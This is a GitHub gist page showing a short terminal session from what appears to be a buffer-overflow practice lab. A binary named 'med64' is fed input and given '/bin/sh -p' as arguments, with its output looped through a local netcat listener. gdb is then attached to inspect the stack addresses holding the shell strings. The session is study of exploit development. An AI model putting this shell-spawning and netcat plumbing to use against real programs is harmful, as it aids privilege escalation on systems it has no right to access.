Skip to content

Instantly share code, notes, and snippets.

@fgsahoward
Created June 11, 2018 17:56
Show Gist options
  • Save fgsahoward/129b4a6493232328502a98e6d378f514 to your computer and use it in GitHub Desktop.
Save fgsahoward/129b4a6493232328502a98e6d378f514 to your computer and use it in GitHub Desktop.
[howard@sterling bof]$ cat input | /home/howard/repos/bof/med64 /bin/sh -p 2>&1 | nc -l 127.0.0.1 -p 1234 >input &
[1] 5931
[howard@sterling bof]$ pidof med64
5930
[howard@sterling bof]$ sudo gdb -q ./med64 5930
Reading symbols from ./med64...(no debugging symbols found)...done.
Attaching to program: /home/howard/repos/bof/med64, process 5930
Reading symbols from /usr/lib/libc.so.6...(no debugging symbols found)...done.
Reading symbols from /lib64/ld-linux-x86-64.so.2...(no debugging symbols found)...done.
0x00007ffff7b174d0 in __read_nocancel () from /usr/lib/libc.so.6
(gdb) x/xg 0x7fffffffe990
0x7fffffffe990: 0x0000000000000000
(gdb)
0x7fffffffe998: 0x00007fffffffec3c
(gdb)
0x7fffffffe9a0: 0x00007fffffffec47
(gdb) x/xg 0x7fffffffe980
0x7fffffffe980: 0x00007fffffffec31
(gdb) x/s 0x00007fffffffec31
0x7fffffffec31: "/bin/sh"
(gdb)
0x7fffffffec39: "-p"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment